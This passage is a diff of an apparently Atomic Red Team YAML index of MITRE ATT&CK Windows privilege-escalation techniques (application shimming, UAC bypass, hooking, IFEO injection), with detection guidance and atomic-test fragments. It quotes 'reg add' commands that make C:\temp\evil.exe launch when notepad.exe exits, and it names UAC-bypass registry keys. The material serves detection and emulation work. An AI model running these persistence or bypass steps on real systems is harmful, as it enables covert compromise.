phase_name: privilege-escalation + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:31:15.409Z' identifier: T1103 atomic_tests: - name: Install AppInit Shim @@ -8290,9 +8359,11 @@ privilege-escalation: ' T1138: technique: + id: attack-pattern--7c93aa74-4bc0-4a9e-90ea-f25f86301566 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Application Shimming description: |- - The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow backward compatibility of programs as Windows updates and changes its code. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Engame Process Injection July 2017) Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses Hooking to redirect the code as necessary in order to communicate with the OS. A list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in: + The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Endgame Process Injection July 2017) Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses [Hooking](https://attack.mitre.org/techniques/T1179) to redirect the code as necessary in order to communicate with the OS. A list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in: * %WINDIR%\AppPatch\sysmain.sdb * hklm\software\microsoft\windows nt\currentversion\appcompatflags\installedsdb @@ -8302,58 +8373,51 @@ privilege-escalation: * %WINDIR%\AppPatch\custom & %WINDIR%\AppPatch\AppPatch64\Custom * hklm\software\microsoft\windows nt\currentversion\appcompatflags\custom - To keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to Bypass User Account Control (UAC) (RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress). Similar to Hooking, utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc. - - Detection: There are several public tools available that will detect shims that are currently available (Citation: Black Hat 2015 App Shim): - - * Shim-Process-Scanner - checks memory of every running process for any Shim flags - * Shim-Detector-Lite - detects installation of custom shim databases - * Shim-Guard - monitors registry for any shim installations - * ShimScanner - forensic tool to find active shims in memory - * ShimCacheMem - Volatility plug-in that pulls shim cache from memory (note: shims are only cached after reboot) - - Monitor process execution for sdbinst.exe and command-line arguments for potential indications of application shim abuse. - - Platforms: Windows - - Data Sources: Loaded DLLs, System calls, Windows Registry, Process Monitoring, Process command-line parameters - - Permissions Required: Administrator - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: persistence - - kill_chain_name: mitre-attack - phase_name: privilege-escalation + To keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) (UAC) (RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress). Similar to [Hooking](https://attack.mitre.org/techniques/T1179), utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc. external_references: - - url: https://attack.mitre.org/wiki/Technique/T1138 + - external_id: T1138 + url: https://attack.mitre.org/techniques/T1138 source_name: mitre-attack - external_id: T1138 - - description: Pierce, Sean. (2015, November). Defending Against Malicious Application + - url: https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf + description: Pierce, Sean. (2015, November). Defending Against Malicious Application Compatibility Shims. Retrieved June 22, 2017. source_name: Black Hat 2015 App Shim - url: https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf - - description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: + - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process + description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.' - source_name: Engame Process Injection July 2017 - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process + source_name: Endgame Process Injection July 2017 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-12-14T16:46:06.044Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + x_mitre_version: '1.0' x_mitre_data_sources: - Loaded DLLs - System calls - Windows Registry - - Process Monitoring + - Process monitoring - Process command-line parameters + x_mitre_detection: |- + There are several public tools available that will detect shims that are currently available (Citation: Black Hat 2015 App Shim): + + * Shim-Process-Scanner - checks memory of every running process for any Shim flags + * Shim-Detector-Lite - detects installation of custom shim databases + * Shim-Guard - monitors registry for any shim installations + * ShimScanner - forensic tool to find active shims in memory + * ShimCacheMem - Volatility plug-in that pulls shim cache from memory (note: shims are only cached after reboot) + + Monitor process execution for sdbinst.exe and command-line arguments for potential indications of application shim abuse. x_mitre_permissions_required: - Administrator - id: attack-pattern--7c93aa74-4bc0-4a9e-90ea-f25f86301566 - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - Windows type: attack-pattern + kill_chain_phases: + - phase_name: persistence + kill_chain_name: mitre-attack + - phase_name: privilege-escalation + kill_chain_name: mitre-attack + modified: '2018-10-31T13:45:13.024Z' + created: '2017-12-14T16:46:06.044Z' identifier: T1138 atomic_tests: - name: Application Shim Installation @@ -8369,6 +8433,8 @@ privilege-escalation: ' T1088: technique: + id: attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Bypass User Account Control description: |- Windows User Account Control (UAC) allows a program to elevate its privileges to perform a task under administrator-level permissions by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action. (Citation: TechNet How UAC Works) @@ -8380,99 +8446,86 @@ privilege-escalation: * eventvwr.exe can auto-elevate and execute a specified binary or script. (Citation: enigma0x3 Fileless UAC Bypass) (Citation: Fortinet Fareit) Another bypass is possible through some Lateral Movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on lateral systems and default to high integrity. (Citation: SANS UAC Bypass) - - Detection: There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Monitor process API calls for behavior that may be indicative of Process Injection and unusual loaded DLLs through DLL Search Order Hijacking, which indicate attempts to gain access to higher privileged processes. - - Some UAC bypass methods rely on modifying specific, user-accessible Registry settings. For example: - - * The eventvwr.exe bypass uses the [HKEY_CURRENT_USER]\Software\Classes\mscfile\shell\open\command Registry key. (Citation: enigma0x3 Fileless UAC Bypass) - * The sdclt.exe bypass uses the [HKEY_CURRENT_USER]\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe and [HKEY_CURRENT_USER]\Software\Classes\exefile\shell\runas\command\isolatedCommand Registry keys. (Citation: enigma0x3 sdclt app paths) (Citation: enigma0x3 sdclt bypass) - - Analysts should monitor these Registry settings for unauthorized changes. - - Platforms: Windows - - Data Sources: System calls, Process monitoring, Authentication logs, Process command-line parameters - - Effective Permissions: Administrator - - Defense Bypassed: Windows User Account Control - - Permissions Required: User, Administrator - - Contributors: Stefan Kanthak, Casey Smith - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: defense-evasion - - kill_chain_name: mitre-attack - phase_name: privilege-escalation external_references: - - url: https://attack.mitre.org/wiki/Technique/T1088 + - external_id: T1088 + url: https://attack.mitre.org/techniques/T1088 source_name: mitre-attack - external_id: T1088 - - description: Lich, B. (2016, May 31). How User Account Control Works. Retrieved + - url: http://www.pretentiousname.com/misc/win7_uac_whitelist2.html + description: Davidson, L. (n.d.). Windows 7 UAC whitelist. Retrieved November + 12, 2014. + source_name: Davidson Windows + - url: https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works + description: Lich, B. (2016, May 31). How User Account Control Works. Retrieved June 3, 2016. source_name: TechNet How UAC Works - url: https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works - - description: 'Russinovich, M. (2009, July). User Account Control: Inside Windows + - url: http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass + description: Medin, T. (2013, August 8). PsExec UAC Bypass. Retrieved June + 3, 2016. + source_name: SANS UAC Bypass + - url: https://technet.microsoft.com/en-US/magazine/2009.07.uac.aspx + description: 'Russinovich, M. (2009, July). User Account Control: Inside Windows 7 User Account Control. Retrieved July 26, 2016.' source_name: TechNet Inside UAC - url: https://technet.microsoft.com/en-US/magazine/2009.07.uac.aspx - - description: Microsoft. (n.d.). The COM Elevation Moniker. Retrieved July + - url: https://msdn.microsoft.com/en-us/library/ms679687.aspx + description: Microsoft. (n.d.). The COM Elevation Moniker. Retrieved July 26, 2016. source_name: MSDN COM Elevation - url: https://msdn.microsoft.com/en-us/library/ms679687.aspx - - description: Davidson, L. (n.d.). Windows 7 UAC whitelist. Retrieved November - 12, 2014. - source_name: Davidson Windows - url: http://www.pretentiousname.com/misc/win7%20uac%20whitelist2.html - - description: UACME Project. (2016, June 16). UACMe. Retrieved July 26, 2016. + - url: https://github.com/hfiref0x/UACME + description: UACME Project. (2016, June 16). UACMe. Retrieved July 26, 2016. source_name: Github UACMe - url: https://github.com/hfiref0x/UACME - - description: Nelson, M. (2016, August 15). "Fileless" UAC Bypass using eventvwr.exe + - url: https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/ + description: Nelson, M. (2016, August 15). "Fileless" UAC Bypass using eventvwr.exe and Registry Hijacking. Retrieved December 27, 2016. source_name: enigma0x3 Fileless UAC Bypass - url: https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/ - - description: Salvio, J., Joven, R. (2016, December 16). Malicious Macro Bypasses + - url: https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware + description: Salvio, J., Joven, R. (2016, December 16). Malicious Macro Bypasses UAC to Elevate Privilege for Fareit Malware. Retrieved December 27, 2016. source_name: Fortinet Fareit - url: https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware - - description: Medin, T. (2013, August 8). PsExec UAC Bypass. Retrieved June - 3, 2016. - source_name: SANS UAC Bypass - url: http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass - - description: Nelson, M. (2017, March 14). Bypassing UAC using App Paths. Retrieved + - url: https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/ + description: Nelson, M. (2017, March 14). Bypassing UAC using App Paths. Retrieved May 25, 2017. source_name: enigma0x3 sdclt app paths - url: https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/ - - description: Nelson, M. (2017, March 17). "Fileless" UAC Bypass Using sdclt.exe. + - url: https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/ + description: Nelson, M. (2017, March 17). "Fileless" UAC Bypass Using sdclt.exe. Retrieved May 25, 2017. source_name: enigma0x3 sdclt bypass - url: https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:31:07.462Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + x_mitre_version: '1.0' + x_mitre_contributors: + - Stefan Kanthak + - Casey Smith x_mitre_data_sources: - System calls - Process monitoring - Authentication logs - Process command-line parameters - x_mitre_effective_permissions: - - Administrator x_mitre_defense_bypassed: - Windows User Account Control x_mitre_permissions_required: - User - Administrator - x_mitre_contributors: - - Stefan Kanthak - - Casey Smith - id: attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be - modified: '2018-04-18T17:59:24.739Z' + x_mitre_detection: |- + There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Monitor process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038), which indicate attempts to gain access to higher privileged processes. + + Some UAC bypass methods rely on modifying specific, user-accessible Registry settings. For example: + + * The eventvwr.exe bypass uses the [HKEY_CURRENT_USER]\Software\Classes\mscfile\shell\open\command Registry key. (Citation: enigma0x3 Fileless UAC Bypass) + * The sdclt.exe bypass uses the [HKEY_CURRENT_USER]\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe and [HKEY_CURRENT_USER]\Software\Classes\exefile\shell\runas\command\isolatedCommand Registry keys. (Citation: enigma0x3 sdclt app paths) (Citation: enigma0x3 sdclt bypass) + + Analysts should monitor these Registry settings for unauthorized changes. + x_mitre_effective_permissions: + - Administrator + x_mitre_platforms: + - Windows type: attack-pattern + kill_chain_phases: + - phase_name: defense-evasion + kill_chain_name: mitre-attack + - phase_name: privilege-escalation + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:31:07.462Z' identifier: T1088 atomic_tests: - name: Bypass UAC using Event Viewer @@ -8494,120 +8547,115 @@ privilege-escalation: cmd.exe -c eventvwr.msc T1179: technique: + id: attack-pattern--66f73398-8394-4711-85e5-34c8540b22a5 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Hooking description: |- Windows processes often leverage application programming interface (API) functions to perform tasks that require reusable system resources. Windows API functions are typically stored in dynamic-link libraries (DLLs) as exported functions. Hooking involves redirecting calls to these functions and can be implemented via: - * '''Hooks procedures''', which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs. (Citation: Microsoft Hook Overview) (Citation: Engame Process Injection July 2017) - * '''Import address table (IAT) hooking''', which use modifications to a process’s IAT, where pointers to imported API functions are stored. (Citation: Engame Process Injection July 2017) (Citation: Adlice Software IAT Hooks Oct 2014) (Citation: MWRInfoSecurity Dynamic Hooking 2015) - * '''Inline hooking''', which overwrites the first bytes in an API function to redirect code flow. (Citation: Engame Process Injection July 2017) (Citation: HighTech Bridge Inline Hooking Sept 2011) (Citation: MWRInfoSecurity Dynamic Hooking 2015) - - Similar to Process Injection, adversaries may use hooking to load and execute malicious code within the context of another process, masking the execution while also allowing access to the process's memory and possibly elevated privileges. Installing hooking mechanisms may also provide Persistence via continuous invocation when the functions are called through normal use. - - Malicious hooking mechanisms may also capture API calls that include parameters that reveal user authentication credentials for Credential Access. (Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017) - Hooking is commonly utilized by Rootkits to conceal files, - processes, Registry keys, and other objects in order to hide malware and associated behaviors. (Citation: Symantec Windows Rootkits) + * **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs. (Citation: Microsoft Hook Overview) (Citation: Endgame Process Injection July 2017) + * **Import address table (IAT) hooking**, which use modifications to a process’s IAT, where pointers to imported API functions are stored. (Citation: Endgame Process Injection July 2017) (Citation: Adlice Software IAT Hooks Oct 2014) (Citation: MWRInfoSecurity Dynamic Hooking 2015) + * **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow. (Citation: Endgame Process Injection July 2017) (Citation: HighTech Bridge Inline Hooking Sept 2011) (Citation: MWRInfoSecurity Dynamic Hooking 2015) - Detection: Monitor for calls to the SetWindowsHookEx and SetWinEventHook functions, which install a hook procedure. (Citation: Microsoft Hook Overview) (Citation: Volatility Detecting Hooks Sept 2012) Also consider analyzing hook chains (which hold pointers to hook procedures for each type of hook) using tools (Citation: Volatility Detecting Hooks Sept 2012) (Citation: PreKageo Winhook Jul 2011) (Citation: Jay GetHooks Sept 2011) or by programmatically examining internal kernel structures. (Citation: Zairon Hooking Dec 2006) (Citation: EyeofRa Detecting Hooking June 2017) + Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), adversaries may use hooking to load and execute malicious code within the context of another process, masking the execution while also allowing access to the process's memory and possibly elevated privileges. Installing hooking mechanisms may also provide Persistence via continuous invocation when the functions are called through normal use. - Rootkits detectors (Citation: GMER Rootkits) can also be used to monitor for various flavors of hooking activity. - - Verify integrity of live processes by comparing code in memory to that of corresponding static binaries, specifically checking for jumps and other instructions that redirect code flow. Also consider taking snapshots of newly started processes (Citation: Microsoft Process Snapshot) to compare the in-memory IAT to the real addresses of the referenced functions. (Citation: StackExchange Hooks Jul 2012) (Citation: Adlice Software IAT Hooks Oct 2014) - - Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. - - Platforms: Windows - - Data Sources: API monitoring, Binary file metadata, DLL monitoring, Loaded DLLs, Process Monitoring, Windows event logs + Malicious hooking mechanisms may also capture API calls that include parameters that reveal user authentication credentials for Credential Access. (Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017) - Permissions Required: Administrator, SYSTEM - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: credential-access - - kill_chain_name: mitre-attack - phase_name: persistence - - kill_chain_name: mitre-attack - phase_name: privilege-escalation + Hooking is commonly utilized by [Rootkit](https://attack.mitre.org/techniques/T1014)s to conceal files, processes, Registry keys, and other objects in order to hide malware and associated behaviors. (Citation: Symantec Windows Rootkits) external_references: - - url: https://attack.mitre.org/wiki/Technique/T1179 + - external_id: T1179 + url: https://attack.mitre.org/techniques/T1179 source_name: mitre-attack - external_id: T1179 - - description: Microsoft. (n.d.). Hooks Overview. Retrieved December 12, 2017. - source_name: Microsoft Hook Overview - url: https://msdn.microsoft.com/library/windows/desktop/ms644959.aspx - - description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: - A Technical Survey Of Common And Trending Process Injection Techniques. - Retrieved December 7, 2017.' - source_name: Engame Process Injection July 2017 - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process - - description: 'Tigzy. (2014, October 15). Userland Rootkits: Part 1, IAT hooks. + - url: https://www.adlice.com/userland-rootkits-part-1-iat-hooks/ + description: 'Tigzy. (2014, October 15). Userland Rootkits: Part 1, IAT hooks. Retrieved December 12, 2017.' source_name: Adlice Software IAT Hooks Oct 2014 - url: https://www.adlice.com/userland-rootkits-part-1-iat-hooks/ - - description: 'Hillman, M. (2015, August 8). Dynamic Hooking Techniques: User + - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process + description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: + A Technical Survey Of Common And Trending Process Injection Techniques. + Retrieved December 7, 2017.' + source_name: Endgame Process Injection July 2017 + - url: https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/ + description: 'Eye of Ra. (2017, June 27). Windows Keylogger Part 2: Defense + against user-land. Retrieved December 12, 2017.' + source_name: EyeofRa Detecting Hooking June 2017 + - url: http://www.gmer.net/ + description: GMER. (n.d.). GMER. Retrieved December 12, 2017. + source_name: GMER Rootkits + - url: https://www.exploit-db.com/docs/17802.pdf + description: Mariani, B. (2011, September 6). Inline Hooking in Windows. Retrieved + December 12, 2017. + source_name: HighTech Bridge Inline Hooking Sept 2011 + - url: https://github.com/jay/gethooks + description: Satiro, J. (2011, September 14). GetHooks. Retrieved December + 12, 2017. + source_name: Jay GetHooks Sept 2011 + - url: https://www.mwrinfosecurity.com/our-thinking/dynamic-hooking-techniques-user-mode/ + description: 'Hillman, M. (2015, August 8). Dynamic Hooking Techniques: User Mode. Retrieved December 20, 2017.' source_name: MWRInfoSecurity Dynamic Hooking 2015 - url: https://www.mwrinfosecurity.com/our-thinking/dynamic-hooking-techniques-user-mode/ - - description: Mariani, B. (2011, September 6). Inline Hooking in Windows. Retrieved + - url: https://msdn.microsoft.com/library/windows/desktop/ms644959.aspx + description: Microsoft. (n.d.). Hooks Overview. Retrieved December 12, 2017. + source_name: Microsoft Hook Overview + - url: https://msdn.microsoft.com/library/windows/desktop/ms686701.aspx + description: Microsoft. (n.d.). Taking a Snapshot and Viewing Processes. Retrieved December 12, 2017. - source_name: HighTech Bridge Inline Hooking Sept 2011 - url: https://www.exploit-db.com/docs/17802.pdf + source_name: Microsoft Process Snapshot - description: Microsoft. (2017, September 15). TrojanSpy:Win32/Ursnif.gen!I. Retrieved December 18, 2017. source_name: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017 - - description: Symantec. (n.d.). Windows Rootkit Overview. Retrieved December + - url: https://github.com/prekageo/winhook + description: Prekas, G. (2011, July 11). Winhook. Retrieved December 12, 2017. + source_name: PreKageo Winhook Jul 2011 + - url: https://security.stackexchange.com/questions/17904/what-are-the-methods-to-find-hooked-functions-and-apis + description: Stack Exchange - Security. (2012, July 31). What are the methods + to find hooked functions and APIs?. Retrieved December 12, 2017. + source_name: StackExchange Hooks Jul 2012 + - url: https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf + description: Symantec. (n.d.). Windows Rootkit Overview. Retrieved December 21, 2017. source_name: Symantec Windows Rootkits - url: https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf - - description: Volatility Labs. (2012, September 24). MoVP 3.1 Detecting Malware + - url: https://volatility-labs.blogspot.com/2012/09/movp-31-detecting-malware-hooks-in.html + description: Volatility Labs. (2012, September 24). MoVP 3.1 Detecting Malware Hooks in the Windows GUI Subsystem. Retrieved December 12, 2017. source_name: Volatility Detecting Hooks Sept 2012 - url: https://volatility-labs.blogspot.com/2012/09/movp-31-detecting-malware-hooks-in.html - - description: Prekas, G. (2011, July 11). Winhook. Retrieved December 12, 2017. - source_name: PreKageo Winhook Jul 2011 - url: https://github.com/prekageo/winhook - - description: Satiro, J. (2011, September 14). GetHooks. Retrieved December - 12, 2017. - source_name: Jay GetHooks Sept 2011 - url: https://github.com/jay/gethooks - - description: Felici, M. (2006, December 6). Any application-defined hook procedure + - url: https://zairon.wordpress.com/2006/12/06/any-application-defined-hook-procedure-on-my-machine/ + description: Felici, M. (2006, December 6). Any application-defined hook procedure on my machine?. Retrieved December 12, 2017. source_name: Zairon Hooking Dec 2006 - url: https://zairon.wordpress.com/2006/12/06/any-application-defined-hook-procedure-on-my-machine/ - - description: 'Eye of Ra. (2017, June 27). Windows Keylogger Part 2: Defense - against user-land. Retrieved December 12, 2017.' - source_name: EyeofRa Detecting Hooking June 2017 - url: https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/ - - description: GMER. (n.d.). GMER. Retrieved December 12, 2017. - source_name: GMER Rootkits - url: http://www.gmer.net/ - - description: Microsoft. (n.d.). Taking a Snapshot and Viewing Processes. Retrieved - December 12, 2017. - source_name: Microsoft Process Snapshot - url: https://msdn.microsoft.com/library/windows/desktop/ms686701.aspx - - description: Stack Exchange - Security. (2012, July 31). What are the methods - to find hooked functions and APIs?. Retrieved December 12, 2017. - source_name: StackExchange Hooks Jul 2012 - url: https://security.stackexchange.com/questions/17904/what-are-the-methods-to-find-hooked-functions-and-apis object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2018-01-16T16:13:52.465Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + x_mitre_version: '1.0' x_mitre_data_sources: - API monitoring - Binary file metadata - DLL monitoring - Loaded DLLs - - Process Monitoring + - Process monitoring - Windows event logs + x_mitre_detection: |- + Monitor for calls to the SetWindowsHookEx and SetWinEventHook functions, which install a hook procedure. (Citation: Microsoft Hook Overview) (Citation: Volatility Detecting Hooks Sept 2012) Also consider analyzing hook chains (which hold pointers to hook procedures for each type of hook) using tools (Citation: Volatility Detecting Hooks Sept 2012) (Citation: PreKageo Winhook Jul 2011) (Citation: Jay GetHooks Sept 2011) or by programmatically examining internal kernel structures. (Citation: Zairon Hooking Dec 2006) (Citation: EyeofRa Detecting Hooking June 2017) + + Rootkits detectors (Citation: GMER Rootkits) can also be used to monitor for various flavors of hooking activity. + + Verify integrity of live processes by comparing code in memory to that of corresponding static binaries, specifically checking for jumps and other instructions that redirect code flow. Also consider taking snapshots of newly started processes (Citation: Microsoft Process Snapshot) to compare the in-memory IAT to the real addresses of the referenced functions. (Citation: StackExchange Hooks Jul 2012) (Citation: Adlice Software IAT Hooks Oct 2014) + + Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. x_mitre_permissions_required: - Administrator - SYSTEM - id: attack-pattern--66f73398-8394-4711-85e5-34c8540b22a5 - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - Windows type: attack-pattern + kill_chain_phases: + - phase_name: persistence + kill_chain_name: mitre-attack + - phase_name: privilege-escalation + kill_chain_name: mitre-attack + - phase_name: credential-access + kill_chain_name: mitre-attack + modified: '2018-10-31T13:45:13.024Z' + created: '2018-01-16T16:13:52.465Z' identifier: T1179 atomic_tests: - name: Hook PowerShell TLS Encrypt/Decrypt Messages @@ -8632,73 +8680,88 @@ privilege-escalation: curl #{server_name} T1183: technique: + id: attack-pattern--62166220-e498-410f-a90a-19d4339d4e99 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Image File Execution Options Injection description: |- - Image File Execution Options (IFEO) enable a developer to attach a debugger to an application. When a process is created, any executable file present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., “C:\dbg\ntsd.exe -g notepad.exe”). (Citation: Microsoft Dev Blog IFEO Mar 2010) - - IFEOs can be set directly via the Registry or in Global Flags via the Gflags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as Debugger Values in the Registry under HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options/ and HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ where is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010) + Image File Execution Options (IFEO) enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., “C:\dbg\ntsd.exe -g notepad.exe”). (Citation: Microsoft Dev Blog IFEO Mar 2010) - Similar to Process Injection, this value can be abused to obtain persistence and privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Engame Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous invocation. + IFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as Debugger values in the Registry under HKLM\SOFTWARE{\Wow6432Node}\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ where is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010) - Malware may also use IFEO for Defense Evasion by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008) - - Detection: Monitor for common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as DEBUG_PROCESS and DEBUG_ONLY_THIS_PROCESS. (Citation: Microsoft Dev Blog IFEO Mar 2010) + IFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IEFO and silent process exit Registry values in HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) - Monitor the IFEOs Registry value for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Engame Process Injection July 2017) + An example where the evil.exe process is started when notepad.exe exits: (Citation: Oddvar Moe IFEO APR 2018) - Platforms: Windows + * reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512 + * reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1 + * reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\temp\evil.exe" - Data Sources: Process Monitoring, Windows Registry, Windows event logs + Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may be abused to obtain persistence and privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Endgame Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous invocation. - Permissions Required: Administrator, SYSTEM - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: defense-evasion - - kill_chain_name: mitre-attack - phase_name: persistence - - kill_chain_name: mitre-attack - phase_name: privilege-escalation + Malware may also use IFEO for Defense 